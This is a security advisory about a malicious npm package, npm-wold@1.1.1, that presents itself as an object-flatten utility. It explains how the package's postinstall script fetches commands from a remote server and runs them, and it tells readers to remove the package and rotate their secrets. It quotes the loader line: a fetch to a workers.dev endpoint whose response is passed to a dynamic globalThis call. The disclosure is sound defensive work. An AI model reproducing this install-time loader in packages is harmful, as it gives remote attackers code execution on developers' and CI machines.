If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (731c22e563f2ea15800d87f345de9b8363c0c715e9f39606201d47a8fb422ab1)
npm-wold@1.1.1 declares a postinstall script (`node dist/config.js`) that, on `npm install`, issues an HTTPS GET to the hardcoded endpoint `https://my-api.trade-api.workers.dev?id=4` and uses fields from the JSON response to dynamically invoke a global function with an attacker-supplied argument: `fetch('https://my-api.trade-api.workers.dev?id=4').then(res=>res.json()).then(data=>globalThis[data.success](data.id))`. The same file also contains `globalThis[tag](text)` with `tag`/`text` unresolved in the file, consistent with a staged/injected loader. The package advertises itself as an object-flatten utility, and there is no library reason for a lifecycle script to fetch remote JSON and route it through a dynamic global dispatcher. The remote server chooses both the function name and its argument, giving it code execution on the installer at install time.